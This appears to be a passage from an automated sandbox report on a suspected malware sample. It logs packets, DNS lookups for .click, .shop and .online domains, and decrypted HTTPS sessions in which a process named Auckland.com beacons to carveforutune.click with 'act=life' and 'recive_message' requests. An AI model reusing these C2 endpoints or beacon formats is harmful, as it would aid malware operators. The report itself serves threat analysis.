Jan 5, 2025 18:25:53.441251040 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.441334963 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.441340923 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.441394091 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.458252907 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458270073 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458350897 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.458359003 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458400965 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.458503008 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458520889 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458561897 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.458569050 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458581924 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.458614111 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.458817005 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458831072 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458873034 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.458879948 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.458925009 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.459126949 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459141016 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459170103 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.459178925 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459199905 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.459211111 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.459300995 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459348917 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.459356070 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459680080 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459696054 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459727049 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.459733963 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.459754944 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.461451054 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.499243021 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.499268055 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.499388933 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.499398947 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.499799967 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.499819994 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.499851942 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.499857903 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.499881983 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.528357983 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.528372049 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.528597116 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.528608084 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545286894 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545305014 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545469046 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.545475960 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545639992 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545651913 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545687914 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.545694113 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545733929 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.545814991 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545830011 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.545881033 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.545887947 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.546147108 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.546166897 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.546200991 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.546207905 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.546230078 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.546495914 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.546513081 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.546559095 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.546566010 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.546586990 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.585952044 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.585973024 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.586113930 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.586127043 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.586519957 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.586534023 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.586602926 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.586611986 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.615147114 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.615169048 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.615221024 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.615230083 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.615264893 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.632129908 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632143974 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632194996 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.632206917 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632364988 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632383108 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632416010 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.632424116 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632445097 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.632833958 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632847071 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.632900000 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.632908106 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.633122921 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.633142948 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.633169889 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.633184910 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.633196115 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.633304119 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.633316994 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.633353949 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.633362055 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.633372068 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.639365911 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.672794104 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.672808886 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.672934055 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.672945976 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.673265934 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.673283100 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.673346043 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.673353910 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.702064991 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.702078104 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.702156067 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.702172041 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.718914986 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.718944073 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719012022 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.719019890 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719240904 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719258070 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719296932 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.719305038 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719513893 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719535112 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719563961 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.719572067 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719600916 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.719861984 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719875097 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.719940901 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.719950914 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.720031977 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.720134020 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.720151901 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.720181942 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.720191956 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.720202923 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.723366976 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.733474016 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.759571075 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.759588003 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.759668112 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.759676933 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.760135889 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.760158062 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.760194063 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.760201931 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.760229111 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.777034998 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.788795948 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.788810015 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.788885117 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.788893938 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.789860010 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.805730104 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.805743933 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.805818081 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.805825949 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806148052 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806166887 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806226969 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.806235075 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806327105 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806339979 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806348085 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.806356907 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806374073 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.806394100 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806411028 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.806417942 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806428909 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.806461096 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:53.806498051 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:53.819397926 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:54.163703918 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:54.163733006 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:54.163743019 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:54.163749933 CET	443	49746	104.21.37.128	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 18:25:08.056962013 CET	55562	53	192.168.2.4	1.1.1.1
Jan 5, 2025 18:25:08.066051960 CET	53	55562	1.1.1.1	192.168.2.4
Jan 5, 2025 18:25:36.875394106 CET	58229	53	192.168.2.4	1.1.1.1
Jan 5, 2025 18:25:36.887691975 CET	53	58229	1.1.1.1	192.168.2.4
Jan 5, 2025 18:25:45.705244064 CET	51614	53	192.168.2.4	1.1.1.1
Jan 5, 2025 18:25:45.820014000 CET	53	51614	1.1.1.1	192.168.2.4
Jan 5, 2025 18:25:46.878755093 CET	63487	53	192.168.2.4	1.1.1.1
Jan 5, 2025 18:25:46.887859106 CET	53	63487	1.1.1.1	192.168.2.4
Jan 5, 2025 18:25:47.690819979 CET	49425	53	192.168.2.4	1.1.1.1
Jan 5, 2025 18:25:47.700889111 CET	53	49425	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 18:25:08.056962013 CET	192.168.2.4	1.1.1.1	0x1ae4	Standard query (0)	pdAXdqbLzMjgNT.pdAXdqbLzMjgNT	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:36.875394106 CET	192.168.2.4	1.1.1.1	0xcd70	Standard query (0)	carveforutune.click	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:45.705244064 CET	192.168.2.4	1.1.1.1	0x27d4	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:46.878755093 CET	192.168.2.4	1.1.1.1	0xf686	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:47.690819979 CET	192.168.2.4	1.1.1.1	0xe3b5	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 18:25:08.066051960 CET	1.1.1.1	192.168.2.4	0x1ae4	Name error (3)	pdAXdqbLzMjgNT.pdAXdqbLzMjgNT	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:36.887691975 CET	1.1.1.1	192.168.2.4	0xcd70	No error (0)	carveforutune.click		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:36.887691975 CET	1.1.1.1	192.168.2.4	0xcd70	No error (0)	carveforutune.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:45.820014000 CET	1.1.1.1	192.168.2.4	0x27d4	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:46.887859106 CET	1.1.1.1	192.168.2.4	0xf686	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:46.887859106 CET	1.1.1.1	192.168.2.4	0xf686	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:25:47.700889111 CET	1.1.1.1	192.168.2.4	0xe3b5	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

carveforutune.click

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:37 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: carveforutune.click
2025-01-05 17:25:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-05 17:25:37 UTC	1133	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gk10n09a06hna87jtb2dq11f1r; expires=Thu, 01 May 2025 11:12:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tzBEDa5pVzw8li1ccq3aidhp%2FG%2FMUUM5PM2mzxebUkjoZHKr2aalt7ChtwYODAt%2F4%2Bp01TF1ogqjc22PzdzUF%2F%2B4O5azOrPUE%2BHC3Pgcjphq9a5cpeEwIRoM7gs9gZgYQcr3kgPu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b2d28f54297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1653&rtt_var=634&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1707602&cwnd=245&unsent_bytes=0&cid=52774c03aa9d1aa0&ts=487&x=0"
2025-01-05 17:25:37 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-05 17:25:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:38 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: carveforutune.click
2025-01-05 17:25:38 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--bigJ&j=aa77e78b6b0dd1b2226e7b799532ab3a
2025-01-05 17:25:38 UTC	1125	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=01l3frvf77nds3csb74r0pq24i; expires=Thu, 01 May 2025 11:12:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CWNwQZV%2FeRFxjKeC6zUoVHFyihyu15veb2ggRpvLpeBJaFqLeDI8hq0oRTkz59Fm8tjb5o%2Fn6Nmox59Ez1eIDLZzcY8xn45GigPqVPzzgNFyflTuGvfMqw%2B0BZxG6GGVMKpx9edF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b32fde58c75-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1930&min_rtt=1929&rtt_var=726&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=981&delivery_rate=1504379&cwnd=195&unsent_bytes=0&cid=b889ba5645be646e&ts=470&x=0"
2025-01-05 17:25:38 UTC	244	IN	Data Raw: 34 36 35 0d 0a 6d 52 64 59 31 6b 5a 69 2f 4c 54 50 7a 34 57 54 48 69 2f 43 41 44 63 75 58 4a 70 36 48 62 33 48 30 36 50 78 4a 32 42 4f 31 50 6e 69 4e 53 37 30 66 46 62 51 6c 72 79 71 70 36 6c 34 54 71 35 7a 55 67 4a 2b 2b 78 34 2f 68 36 47 79 7a 34 4a 43 54 47 79 69 6c 4c 73 74 50 72 63 71 45 5a 6d 59 37 61 72 39 73 53 52 30 75 53 4a 53 51 48 36 67 57 48 6a 58 70 62 4c 50 6b 30 59 4c 49 61 53 56 2b 6e 38 30 73 53 34 48 6e 39 43 75 6f 2b 6a 32 65 30 71 6a 61 6c 6c 48 4d 66 49 58 50 35 48 6c 74 74 6e 54 48 55 49 44 73 59 33 34 57 6a 6d 6c 4c 55 43 42 6d 4c 54 74 34 50 30 38 46 65 42 68 55 6b 77 77 2f 42 35 32 31 61 2b 37 78 35 4a 44 43 6a 36 39 6e 2f 46 2f 4f 72 49 76 44 5a 62 45 6f 36 6e 76 2f 58 31 41 6f 79 49 62 44 44 6e Data Ascii: 465mRdY1kZi/LTPz4WTHi/CADcuXJp6Hb3H06PxJ2BO1PniNS70fFbQlryqp6l4Tq5zUgJ++x4/h6Gyz4JCTGyilLstPrcqEZmY7ar9sSR0uSJSQH6gWHjXpbLPk0YLIaSV+n80sS4Hn9Cuo+j2e0qjallHMfIXP5HlttnTHUIDsY34WjmlLUCBmLTt4P08FeBhUkww/B521a+7x5JDCj69n/F/OrIvDZbEo6nv/X1AoyIbDDn
2025-01-05 17:25:38 UTC	888	IN	Data Raw: 67 57 43 65 66 39 6f 50 43 67 6c 51 58 49 61 61 64 75 32 70 30 72 57 51 48 6b 70 62 31 37 65 2f 39 63 6b 69 6a 62 56 4a 4e 50 75 6f 58 66 39 79 74 75 63 57 5a 53 67 30 6a 75 4a 48 38 66 54 4f 7a 4b 77 65 57 30 4b 4b 75 70 37 38 38 53 72 67 69 44 51 77 65 36 42 74 38 79 36 69 67 67 59 77 4c 47 32 79 78 6c 37 73 74 65 72 49 71 41 5a 50 57 76 36 58 73 2b 6e 6c 66 71 32 74 59 51 54 37 31 45 6e 44 63 70 62 62 4c 6d 55 6f 49 4b 4c 75 57 2f 58 55 36 39 47 70 41 6d 63 37 74 39 61 66 53 65 56 32 6e 62 6b 4d 4f 42 4c 67 48 4d 63 62 6c 74 73 33 54 48 55 49 6b 73 35 6a 34 66 6a 57 33 4c 41 75 4d 31 72 2b 72 36 76 52 75 53 36 56 73 58 30 38 73 38 68 5a 35 33 4b 79 36 79 4a 5a 43 42 6d 7a 34 32 2f 78 74 65 75 78 6b 49 5a 50 64 6f 61 66 77 38 54 78 53 37 6e 73 56 53 7a Data Ascii: gWCef9oPCglQXIaadu2p0rWQHkpb17e/9ckijbVJNPuoXf9ytucWZSg0juJH8fTOzKweW0KKup788SrgiDQwe6Bt8y6iggYwLG2yxl7sterIqAZPWv6Xs+nlfq2tYQT71EnDcpbbLmUoIKLuW/XU69GpAmc7t9afSeV2nbkMOBLgHMcblts3THUIks5j4fjW3LAuM1r+r6vRuS6VsX08s8hZ53Ky6yJZCBmz42/xteuxkIZPdoafw8TxS7nsVSz
2025-01-05 17:25:38 UTC	1369	IN	Data Raw: 34 61 33 62 0d 0a 6d 70 4b 73 46 64 57 51 6a 44 2f 44 6a 2f 41 36 36 69 42 6c 45 6c 43 64 50 61 55 39 48 6f 79 74 43 55 45 6b 39 4b 73 6f 4f 76 34 66 30 47 73 61 6c 68 41 4f 76 63 51 64 39 79 74 6f 38 2b 64 51 77 51 73 73 39 75 31 4e 54 32 73 5a 46 6a 65 38 71 4f 36 38 2f 6f 2b 65 4b 4e 73 57 30 73 6f 75 41 63 78 78 75 57 32 7a 64 4d 64 51 69 4b 37 6b 50 64 79 4d 37 55 6e 41 4a 54 59 6f 71 66 76 2b 58 78 41 6f 57 6c 64 53 6a 50 7a 46 33 44 59 72 62 4c 4e 6c 6b 67 42 62 50 6a 62 2f 47 31 36 37 47 51 6c 6b 4e 57 38 76 4b 58 45 66 30 4f 75 5a 55 4d 4d 49 62 59 42 50 39 69 70 38 5a 6e 54 54 77 55 72 73 70 62 78 64 6a 36 77 4b 51 2b 58 33 36 53 2f 37 66 31 79 58 36 31 6f 55 45 49 79 2f 52 64 2f 33 71 53 2f 79 35 67 46 54 47 79 78 67 37 73 74 65 70 73 70 45 49 Data Ascii: 4a3bmpKsFdWQjD/Dj/A66iBlElCdPaU9HoytCUEk9KsoOv4f0GsalhAOvcQd9yto8+dQwQss9u1NT2sZFje8qO68/o+eKNsW0souAcxxuW2zdMdQiK7kPdyM7UnAJTYoqfv+XxAoWldSjPzF3DYrbLNlkgBbPjb/G167GQlkNW8vKXEf0OuZUMMIbYBP9ip8ZnTTwUrspbxdj6wKQ+X36S/7f1yX61oUEIy/Rd/3qS/y5gFTGyxg7stepspEI
